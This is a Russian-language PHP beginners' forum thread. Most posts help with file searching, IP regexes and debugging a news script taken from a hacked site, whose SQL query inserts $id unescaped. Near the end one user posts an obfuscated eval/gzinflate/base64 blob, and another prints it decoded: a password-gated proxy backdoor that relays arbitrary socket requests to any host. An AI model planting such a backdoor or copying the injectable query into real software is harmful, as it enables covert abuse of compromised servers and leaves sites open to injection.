[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    Сори, знаю была такая тема... чтото не нашол...
    Как из файла выдрать строку в которой встречается например "pass" ??
     
  2. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    PHP:
    <?php
    $fp 
    fopen ('1.txt''r');
    while (!
    feof ($fp)) {
    $temp fgets ($fp4096);
    if (
    preg_match('/pass/',$temp)) echo $temp "\r\n";
    }
    fclose ($fp);
    ?>
     
    1 person likes this.
  3. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    Pashkela, а если не один раз встречаеться?? ))
     
  4. preda1or

    preda1or Member

    Joined:
    27 Oct 2008
    Messages:
    167
    Likes Received:
    96
    Reputations:
    6
    preg_match_all()
     
  5. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    Zitt, Pashkela

    может лучше
    PHP:
    $str = array();
    // получение файла в массив
    $file file('1.txt');

    // ищем строку перебором массива
    foreach($file as $row)
        if(
    strstr('pass'$row))
            
    $str[] = $row;

    // вывод найденного
    if(sizeof($str))
        
    print_r($str);
     
  6. SVAROG

    SVAROG Elder - Старейшина

    Joined:
    13 Feb 2007
    Messages:
    424
    Likes Received:
    86
    Reputations:
    -1
    в $file[$i] содержиться текст с ИП адресом, пытаюсь записать ИП без текста в файл, но в файле оказываеться только слово Array :confused:
    PHP:
    preg_match_all('/\s+\d+\.\d+\.\d+\.\d+/',$file[$i],$outp);
    $r=fopen("output.txt","a+");
    fwrite($r,"$outp\n");
     
  7. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    SVAROG

    Code:
    <?
      $text = 'ip-address 192.168.35.2 has been banned';
      preg_match("/([0-9]){1,3}\.([0-9]){1,3}\.([0-9]){1,3}\.([0-9]){1,3}/", $text, $out); 
      echo $out[0];
    ?>
     
  8. -=Static=-

    -=Static=- Banned

    Joined:
    12 Nov 2006
    Messages:
    201
    Likes Received:
    40
    Reputations:
    0

    Так ты из 2-х мерного массива $outp выдели то что тебе надо записать)

    Можно например так:
    PHP:
    foreach($outp as $line$out .= $line."\n";
    Тогда код будет примерно такой:
    PHP:
    $out "";
    preg_match_all('/\s+\d+\.\d+\.\d+\.\d+/',$file[$i],$outp);
    foreach(
    $outp as $line$out .= $line."\n";
    $r=fopen("output.txt","a+");
    fwrite($r,"$out\n");
    fclose($r);
     
  9. SVAROG

    SVAROG Elder - Старейшина

    Joined:
    13 Feb 2007
    Messages:
    424
    Likes Received:
    86
    Reputations:
    -1
    Joker-jar -=Static=- спс что то я сам недогодался))
     
  10. sharoff

    sharoff Member

    Joined:
    5 Aug 2007
    Messages:
    25
    Likes Received:
    6
    Reputations:
    0
    PHP:
    $SQL " SELECT * FROM news1 where id = $id";

    $getid mysql_db_query($dbase"$SQL"$connection_id);

    while (
    $row mysql_fetch_array($getid)) {
    $datetxt $row["datetxt"];
    $header $row["header"];
    $category $row["category"];
    $author $row["author"];
    $description $row["description"];
    $readcount $row["readcount"];

    $description str_replace("\n""<br>"$description);
    $header stripslashes($header);
    $description stripslashes($description);

    echo (
    "<H1>$header</H1>
    <table width=100% border=0 cellspacing=0 cellpadding=2 class=news>
    <tr>
    <td><span class=newsdate>Добавлено 
    $datetxt | $category | Просмотров $readcount</span></td>
    </tr>
    </table><br>
    <table width=0%  border=0 cellspacing=0 cellpadding=0>
    <tr>
    <td>
    <span class=newsfont>
    $description</span>\n
    </td>
     </tr>
    </table>"
    );
    Есть такой код. Честно говорю - стырил с ломаного сайта, решил движок запустить на машине на компе. НА сервере где лежит сайт - все работает, на ПК - нет. Может тут в чем-то ошибка? Дальше по коду идут следующие запросы к БД для получения заголовков следующей и предыдущей новости

    PS: этот движок уложил мне БД на моем ПК, стоит денвер последний.

    PPS: в этом всем я новичок, может найдется человек, который сможет не доходчиво объяснять ответы на некоторые часто возникающие у меня вопросы? Если да - пусть он напишет в ПМ, буду очень благодарен ему!
     
    #7810 sharoff, 23 Jan 2009
    Last edited: 23 Jan 2009
  11. -=Static=-

    -=Static=- Banned

    Joined:
    12 Nov 2006
    Messages:
    201
    Likes Received:
    40
    Reputations:
    0
    sharoff, сей кусок кода никак не могу положить твою БД. А то что не работает - ты б написал какие у тебя ошибки пишутся, а не это :) Может все намного проще)
     
  12. sharoff

    sharoff Member

    Joined:
    5 Aug 2007
    Messages:
    25
    Likes Received:
    6
    Reputations:
    0
    Ошибок никаких нету, просто тупо ничего не отображается, и сей кусок кода может и не положит БД, зато весь движок ложит жестоко.
     
  13. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    А дело до него доходит? Коннект с базой есть? Реквизиты коннекта верные? Проверял? Если ты тупо вставил этот кусок кода, то ясен хрен он не заработает как минимум потому, что переменная, содержащая ресурс коннекта называет иначе чем везде...
     
  14. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    гы, хочешь, отобразится, да так, что на несколько строк сразу?:))

    В начало скрипта вставь

    @ini_set("display_errors","1");

    запусти и наслаждайся
     
  15. -=Static=-

    -=Static=- Banned

    Joined:
    12 Nov 2006
    Messages:
    201
    Likes Received:
    40
    Reputations:
    0
    А в чем проявляется "лежание" БД?? Как вы понимаете словосочетание "код положил БД"??
     
  16. sharoff

    sharoff Member

    Joined:
    5 Aug 2007
    Messages:
    25
    Likes Received:
    6
    Reputations:
    0
    Благодаря этому чудо-коду ошибки не отобразились, а лежание БД проявляется в Too many connections )
     
  17. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    у хостеров обычно стоит ограничение на кол-во запросов, если у тебя не по ошибке большое кол-во а из за обработки большого кол-ва данных то тебе нужно обратица к хостеру и попросить увеличить максимальное колво запросов, вполне возможно что это будет платно


    упс, вник в проблему, если это твой комп то сам полазай поисчи где настраивается кол во запросов, канешно если код правельный
     
    #7817 Корвин, 23 Jan 2009
    Last edited: 23 Jan 2009
  18. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Как я понял на твоем локалхосте он не запускаеться,
    где то происходит выход из скрипта(exit,die) при ошибки,
    по display_errors
    во первых по дефолту в "денвер последний" он и так display_errors=1
    во вторых - it won't have any affect if the script has fatal errors.

    Попробуй элементарно найти error_reporting(0) и закоментить его.
     
  19. [R]eD

    [R]eD Elder - Старейшина

    Joined:
    1 Aug 2006
    Messages:
    72
    Likes Received:
    1
    Reputations:
    0
    Помогите расшифровать:
    PHP:
    <?php
    eval(gzinflate(base64_decode('jVP/a9NAFG9I1sd6vTQXaYbbDws10JbpsA7E0R0t16VgIqVMkXWlljEjHStWsjLwV0WLP/mDv6p/g3+i7y5N1hUEH9xd7j5f7r0XzruKPvLDZ01a8OLo2uVVMZuAZVGLW2BTyyHFjeAkHMwmXQaaBY4YC5/Zll7c7Pf7/gDZxAgIY+AEXf7kUePpoX9vC6wdvxWK42NxFylQ5iAQouo+DoFxq078lSoTJGd+S3TGIiWEsE2cwVJeQSl3SAm4SUrEkakuEZrjpGSbRCMON8wtVgi8B/uN4fxgpChXXVNnlGE5a2kPEnlXbRHO6QxeveZ50GgeAuaoxpi6BkFbtHui/RynxCvM7jYJw4JktYjJLoZoBNu2KS38U7/3f65rXcvssWedxFbN6H12soKpi8V4jG0kNoIb4MiT3E5RL0GChne7KEWGpBqMapvUhqKUprmHS1b6y2QYZYs4IFW9ZaswuzRuaeUCMSHoGEDVDZnVup3quF5kZbBkFhbo+cT7Zf8sKzsN0Ao0Za9iu6v5aSZlKr9MnsJp4XIPJgNMRDm2/yw+L8SPn18/ie+Lb7+//HrRHojd2aQq38b1POY4xnH0YXp+EdUqw3ljVHnoVo5aOMunU/8H7UDRqpKFiGJNo/eShUstO4tueFXe9G4W17xL/rjpXR5JIq57e3VFcPe5ezGJa7P4rdINvctR3X3jeviEpUd0cz6tIU9+N/8C')));
    ?>
    При выполнении еcho херь какая-то получается.
    Очень интересно что за скрипт.
     
  20. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    PHP:
     
    error_reporting
    (0);
    $secret 'sprank222'
    if(isset(
    $_POST['query']) && isset($_POST['host'])) 

        if(isset(
    $secret) && ($_POST['secret'] != $secret))exit; 
        @
    set_time_limit(0); 
        
    ob_implicit_flush(FALSE); 
        
    $lasos $_POST['query'];
        
    $query base64_decode(str_replace(" ""+"$lasos)); 
        list(
    $host$port) = explode(':'base64_decode(str_replace(" ""+"$_POST['host']))); 
        if(!
    $port)$port 80
        if(
    $host == ($ip gethostbyname($host)))exit; 
        if(
    $fp fsockopen($ip$port)) 
        { 
            
    fwrite($fp$query);         
            while(!
    feof($fp)) 
            { 
                
    $answer fread($fp128); 
                echo 
    $answer
            } 
            
    fclose($fp); 
        } 
        exit; 

    else { echo 
    "Тебе сюда нельзя."; }

     
    _________________________
Thread Status:
Not open for further replies.